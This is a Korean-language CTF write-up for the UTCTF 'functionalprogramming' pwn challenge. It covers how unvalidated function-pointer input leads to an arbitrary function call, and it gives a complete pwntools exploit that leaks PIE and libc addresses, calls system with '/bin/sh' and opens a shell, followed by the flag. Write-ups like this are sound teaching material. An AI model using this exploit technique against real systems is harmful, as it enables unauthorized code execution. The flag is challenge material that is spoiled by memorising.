보호기법
64bit에 Canary, NX, PIE가 걸려있다.
바이너리 분석
바이너리 main을 요약해보자면
- int list의 길이를 입력받는다.
- int list에 값을 넣는다.
- parameter function(
increment
,positive
,abs
)의 주소를 알려주고 하나를 선택한다.
- function(
map
,filter
)의 주소를 알려주고 하나를 선택한다.
- 전부 선택이 끝나면
function(int list, parameter function)
을 수행하고 결과를 출력한다.
Vulnerability
취약점은 입력값 검증 미흡이라고 볼 수 있겠다.
위의 42-44 줄에서 param 함수가 나열되어 있는데, 사용자가 다른 함수의 주소를 넣어도 따로 검증하지 않는 것을 볼 수 있다. 이는 46-49 줄에서도 마찬가지이고, 결국 사용자가 f
와 param_f
를 마음대로 조작할 수 있기 때문에 50 줄에서 arbitrary function call이 발생하게 된다.
increment
, positive
출력을 해주기 때문에 PIE를 leak할 수 있고, abs
함수는 libc에 존재하기 때문에 libc주소도 알 수 있다.
따라서 다음과 같이 조작을 할 수 있다.
- param_f ==
NULL
- f ==
system
- v10(int list) == [(int)"/bin"[::-1],(int)"/sh"[::-1]]
이렇게 된다면 50번째 줄에서 system(v10, NULL)
이 되는데, v10에는 들어있는 숫자가 command로 해석되기 때문에 /bin/sh
라는 문자열이 실행되게 된다.
Exploit Code
from pwn import *
import binascii
def elem(L):
p.sendline(str(len(L)))
sleep(0.05)
p.sendline('\n'.join(str(ch) for ch in L))
def get_address():
p.recvuntil("Increment: ")
PIE_base = int(p.recvline().strip(), 16) - 0xab5
p.recvuntil("Abs: ")
libc_base = int(p.recvline().strip(), 16) - 0x3a640
return (PIE_base, libc_base)
server = 1
if server:
p = remote("pwn.utctf.live", 5432)
else:
p = process("./functionalprogramming")
PIE_base = libc_base = -1
one = [0x45226, 0x4527a, 0xf0364, 0xf1207]
elem([int(binascii.hexlify(b"/bin"[::-1]), 16), int(binascii.hexlify(b"/sh"[::-1]), 16)])
# or elem([int(binascii.hexlify(b"sh"[::-1]), 16)])
PIE_base, libc_base = get_address()
print("PIE_base : " + hex(PIE_base))
print("libc_base : " + hex(libc_base))
libc_system = libc_base + 0x453a0
print("libc_system : " + hex(libc_system))
# parameter
p.sendline("0")
# function
p.sendline(hex(libc_system))
p.interactive()
Flag
utflag{lambda_calculus_pog891234}
Uploaded by Notion2Tistory v1.1.0